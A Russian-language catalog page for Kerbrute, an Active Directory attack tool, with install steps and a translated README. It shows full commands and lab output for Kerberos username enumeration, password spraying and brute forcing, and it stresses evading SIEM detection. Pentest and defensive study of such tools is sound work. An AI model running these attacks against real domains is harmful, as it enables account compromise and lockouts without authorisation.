Kerbrute

Password Attacks v1.0.3 · 15.12.2019 не обновлялся >2 лет

Быстрый инструмент для энумерации пользователей и брутфорса паролей через протокол Kerberos. Работает без создания event-логов на уровне NTLM, что делает его менее заметным для стандартных SIEM-систем. Режимы: • userenum — проверка существования пользователей • passwordspray — распыление одного пароля по всем пользователям • bruteuser — брутфорс одного аккаунта ⚠ Серая зона: passwordspray без блокировки аккаунтов. kerbrute userenum -d domain.local users.txt --dc 10.10.10.1

v1.0.3
15.12.2019 current
Добавлен 10.06.2026 · Обновлён 10.06.2026 · Password Attacks
Установка
# Готовые бинарники
# https://github.com/ropnop/kerbrute/releases

# Go install
go install github.com/ropnop/kerbrute@latest

# Из исходников
git clone https://github.com/ropnop/kerbrute
cd kerbrute && make all
переведено ИИ

Kerbrute

CircleCI

Инструмент для быстрого перебора и перечисления действительных учётных записей Active Directory через предварительную аутентификацию Kerberos

Для начала работы скачайте последние бинарные файлы со страницы релизов.

Предыстория

Этот инструмент вырос из некоторых bash-скриптов, которые я написал несколько лет назад для выполнения перебора с использованием клиента Kerberos Heimdal из Linux. Мне хотелось иметь что-то, что не требовало привилегий для установки клиента Kerberos, и когда я нашел удивительную чистую реализацию Kerberos на Go gokrb5, я решил наконец изучить Go и написать это.

Перебор паролей Windows с помощью Kerberos намного быстрее любого другого известного мне метода и потенциально менее заметен, поскольку ошибки предварительной аутентификации не вызывают «традиционного» события 4625 Не удалось войти в систему. С помощью Kerberos можно проверить имя пользователя или попытаться войти в систему, отправив лишь один UDP-кадр в KDC (доменный контроллер).

Для получения дополнительной информации ознакомьтесь с моим докладом на Troopers 2019, Fun with LDAP and Kerberos (ссылка будет добавлена).

Использование

Kerbrute имеет три основных команды: * bruteuser - Перебор пароля одного пользователя по списку слов * bruteforce - Чтение комбинаций имя_пользователя:пароль из файла или stdin и их проверка * passwordspray - Проверка одного пароля против списка пользователей * userenum - Перечисление действительных доменных имён пользователей через Kerberos

Необходимо указать домен (-d) или доменный контроллер (--dc). Если доменный контроллер не указан, KDC будет найден через DNS.

По умолчанию Kerbrute использует многопоточность и 10 потоков. Это можно изменить с помощью опции -t.

Вывод регистрируется в stdout, но файл журнала можно указать с помощью -o.

По умолчанию ошибки не регистрируются, но это можно изменить с помощью -v.

Наконец, Kerbrute имеет опцию --safe. Когда эта опция включена, если учетная запись заблокирована, все потоки будут прерваны, чтобы избежать блокировки других учетных записей.

Команда help может использоваться для получения дополнительной информации

$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Перечисление пользователей

Для перечисления имён пользователей Kerbrute отправляет запросы TGT без предварительной аутентификации. Если KDC отвечает ошибкой PRINCIPAL UNKNOWN, имя пользователя не существует. Однако, если KDC запрашивает предварительную аутентификацию, мы знаем, что имя пользователя существует, и переходим дальше. Это не вызывает ошибок входа, поэтому не приведет к блокировке каких-либо учетных записей. Генерируется событие Windows с ID 4768, если включено журналирование Kerberos.

root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       amata@lab.ropnop.com
2019/03/06 21:28:04 >  [+] VALID USERNAME:       thoffman@lab.ropnop.com
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Перебор паролей (Password Spray)

С помощью passwordspray Kerbrute выполнит горизонтальный перебор паролей по списку доменных пользователей. Это полезно для проверки одного-двух распространенных паролей, когда у вас есть большой список пользователей. ВНИМАНИЕ: это будет увеличивать счетчик неудачных попыток входа и блокировать учетные записи. Будут сгенерированы события ID 4768 - Запрос билета аутентификации (TGT) Kerberos и 4771 - Ошибка предварительной аутентификации Kerberos

root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:37:29 >  Using KDC(s):
2019/03/06 21:37:29 >   pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 >  [+] VALID LOGIN:  callen@lab.ropnop.com:Password123
2019/03/06 21:37:37 >  [+] VALID LOGIN:  eshort@lab.ropnop.com:Password123
2019/03/06 21:37:37 >  Done! Tested 2755 logins (2 successes) in 7.674 seconds

Перебор пользователей (Brute User)

Это традиционный перебор пароля для имени пользователя. Запускайте это только в том случае, если вы уверены, что нет политики блокировки! Будут сгенерированы события ID 4768 - Запрос билета аутентификации (TGT) Kerberos и 4771 - Ошибка предварительной аутентификации Kerberos

root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:38:24 >  Using KDC(s):
2019/03/06 21:38:24 >   pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 >  [+] VALID LOGIN:  thoffman@lab.ropnop.com:Summer2017
2019/03/06 21:38:27 >  Done! Tested 1001 logins (1 successes) in 2.711 seconds

Перебор (Brute Force)

Этот режим просто считывает комбинации имен пользователей и паролей (в формате имя_пользователя:пароль) из файла или stdin и проверяет их с помощью предварительной аутентификации Kerberos. Он пропускает любые пустые строки или строки с пустыми именами/паролями. Будут сгенерированы события ID 4768 - Запрос билета аутентификации (TGT) Kerberos и 4771 - Ошибка предварительной аутентификации Kerberos

$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop

2019/05/11 18:40:56 >  Using KDC(s):
2019/05/11 18:40:56 >   pdc01.lab.ropnop.com:88

2019/05/11 18:40:56 >  [+] VALID LOGIN:  athomas@lab.ropnop.com:Password1234
2019/05/11 18:40:56 >  Done! Tested 7 logins (1 successes) in 0.114 seconds

Установка

Вы можете скачать предварительно скомпилированные бинарные файлы для Linux, Windows и Mac со страницы релизов. Если вы хотите жить на грани, вы также можете установить с помощью Go:

$ go get github.com/ropnop/kerbrute

После клонирования репозитория вы также можете использовать файл Make для компиляции под распространенные архитектуры:

$ make help
help:            Show this help.
windows:  Make Windows x86 and x64 Binaries
linux:  Make Linux x86 and x64 Binaries
mac:  Make Darwin (Mac) x86 and x64 Binaries
clean:  Delete any binaries
all:  Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.

$ ls dist/
kerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe
kerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe

Благодарности

Огромная благодарность jcmturner за его чистую реализацию KRB5 на Go: https://github.com/jcmturner/gokrb5. Удивительный проект и очень хорошо документированный. Без этого проекта ничего из этого не получилось бы.

Благодарность audibleblink за предложение и реализацию опции delay!

Комментарии
Войдите, чтобы оставить комментарий